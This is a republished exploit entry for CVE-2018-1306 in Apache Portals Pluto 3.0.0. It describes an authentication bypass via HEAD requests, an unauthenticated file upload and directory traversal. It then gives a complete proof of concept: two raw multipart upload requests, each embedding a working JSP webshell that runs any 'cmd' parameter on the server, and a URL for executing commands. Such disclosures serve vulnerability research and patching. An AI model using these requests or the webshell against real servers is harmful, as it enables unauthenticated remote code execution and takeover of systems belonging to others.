Apache Portals Pluto 3.0.0 Remote Code Execution

2018.09.14
Credit: Che-Chun Kuo
Risk: High
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: Apache Portals Pluto 3.0.0 - Remote Code Execution # Date: 2018-09-12 # Exploit Author: Che-Chun Kuo # Vendor Homepage: https://portals.apache.org/pluto/ # Software Link: http://archive.apache.org/dist/portals/pluto/ # Version: 3.0.0 # Tested on: Windows # Advisory: https://portals.apache.org/pluto/security.html # Other Vulnerability Types: Authentication bypass, directory traversal, arbitrary file upload # CVE: CVE-2018-1306 # Vulnerability 1: Authentication bypass via HTTP verb tampering # Description: Apache Pluto uses web.xml security constraints to control access to resources. # These security constraints have been insecurely defined allowing authentication to be bypassed. # When specific http methods are listed within a security constraint, then only those # methods are protected. Pluto defines the following http methods: GET, POST, and PUT. # Since the HEAD method is not listed, a request with a HTTP HEAD method effectively # circumvents the security policy. # Vulnerability 2: Remote code execution via arbitrary file upload # Description: An attacker can call the PortletV3AnnotatedDemo Multipart Portlet and upload # an arbitrary file. The uploaded file is directly accessible within # the /PortletV3AnnotatedDemo/temp/ directory. This technique allows an unauthenticated # attacker to install a malicious JSP file and remotely execute code on a server running Apache Pluto. # Insecure Remediation: This vulnerability was mitigated by moving the /temp directory # outside the /webapps directory and under the Tomcat directory. # Vulnerability 3: Directory traversal in multipart file upload # Description: Apache Pluto's multipart file uploader is vulnerable to directory traversal. # An attacker is able to upload a file outside the default /temp directory to an arbitrary location # on the filesystem. The following filename will drop a JSP webshell # into the /webapps/pluto public directory: filename="../../../webapps/pluto/jspshell.jsp". # Leveraging this technique, remote code execution via webshell is still possible despite # remediation in Vulnerability 2. # PROOF OF CONCEPT # UPLOAD REQUEST 1 - TEMP DIR INSIDE WEBROOT HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/__ac0 HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary=XX Content-Length: 727 --XX Content-Disposition: form-data; name="file"; filename="jspshell.jsp" Content-Type: application/octet-stream <FORM METHOD=GET ACTION='jspshell.jsp'> CMD: <INPUT name='cmd' type=text value="cmd /c dir"> <INPUT type=submit value='Run'></FORM> <%@ page import="java.io.*" %> <% String cmd = "whoami"; String param = request.getParameter("cmd"); if (param != null){ cmd = param; } String s = null; String output = ""; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"\r\n"; } } catch(IOException e) { e.printStackTrace(); } %> <pre><%=output %></pre> --XX-- # UPLOAD REQUEST 2 - TEMP DIR OUTSIDE WEBROOT HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/__ac0 HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary=XX Content-Length: 748 --XX Content-Disposition: form-data; name="file"; filename="../../../webapps/pluto/jspshell.jsp" Content-Type: application/octet-stream <FORM METHOD=GET ACTION='jspshell.jsp'> CMD: <INPUT name='cmd' type=text value="cmd /c dir"> <INPUT type=submit value='Run'></FORM> <%@ page import="java.io.*" %> <% String cmd = "whoami"; String param = request.getParameter("cmd"); if (param != null){ cmd = param; } String s = null; String output = ""; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"\r\n"; } } catch(IOException e) { e.printStackTrace(); } %> <pre><%=output %></pre> --XX-- # EXECUTE CMD ---------------------------------------- http://localhost:8080/pluto/jspshell.jsp?cmd=hostname


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top